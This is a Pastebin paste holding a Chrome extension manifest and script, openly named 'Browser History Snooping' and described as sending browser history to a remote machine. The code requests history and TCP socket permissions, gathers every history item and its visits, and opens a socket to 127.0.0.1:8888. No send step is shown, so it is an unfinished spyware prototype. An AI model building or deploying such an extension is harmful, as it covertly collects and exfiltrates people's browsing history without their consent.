Advertisement
Guest User

Untitled

a guest
Sep 4th, 2015
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. {
  2. "manifest_version": 2,
  3.  
  4. "name": "Browser History Snooping",
  5. "description": "This extension snoops browser history and sends it to a remote machine",
  6. "version": "1.0",
  7.  
  8. "browser_action": {
  9. "default_icon": "icon.png",
  10. "default_popup": "popup.html"
  11. },
  12.  
  13. "permissions": [
  14. "history"
  15. ],
  16.  
  17. "sockets": {
  18. "tcp": {
  19. "connect": ""
  20. }
  21. }
  22. }
  23.  
  24. var histories = [];
  25. var visits = [];
  26.  
  27. chrome.history.search({text:'', maxResults:0}, function(historyItems) {
  28. var historiesProcessed = 0;
  29. for (var i = 0; i < historyItems.length; i++) {
  30. //histories.push(historyItems[i]);
  31. console.log(historyItems[i]);
  32. chrome.history.getVisits({url: historyItems[i].url}, function(visitItems) {
  33. for (var i = 0; i < visitItems.length; i++) {
  34. visits.push(visitItems[i]);
  35. }
  36. historiesProcessed++;
  37. if (historiesProcessed === historyItems.length) {
  38. console.log(visits.length + ' visits');
  39. }
  40. });
  41. }
  42. console.log(histories);
  43. });
  44.  
  45. chrome.sockets.tcp.create({}, function(createInfo) {
  46. chrome.sockets.tcp.connect(createInfo.socketId,'127.0.0.1',8888,
  47. function(result){
  48. if(result>=0)
  49. {
  50. console.log('Successfully connected');
  51. }
  52. });
  53. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement